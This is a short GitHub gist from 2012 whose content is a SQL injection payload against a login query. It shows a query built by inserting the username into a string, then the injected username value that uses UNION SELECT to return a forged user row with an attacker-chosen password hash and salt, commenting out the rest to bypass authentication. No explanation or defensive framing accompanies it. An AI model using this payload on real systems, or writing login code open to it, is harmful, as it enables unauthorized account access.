Skip to content

Instantly share code, notes, and snippets.

@doda-zz
Created August 23, 2012 00:07
Show Gist options
  • Save doda-zz/3430754 to your computer and use it in GitHub Desktop.
Save doda-zz/3430754 to your computer and use it in GitHub Desktop.
query = """SELECT id, password_hash, salt FROM users
WHERE username = 'x' UNION SELECT 0 AS id, "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2" AS password_hash, "bar" AS salt;-- LIMIT 1""".format(username)
x' UNION SELECT 0 AS id, "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2" AS password_hash, "bar" AS salt;--
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment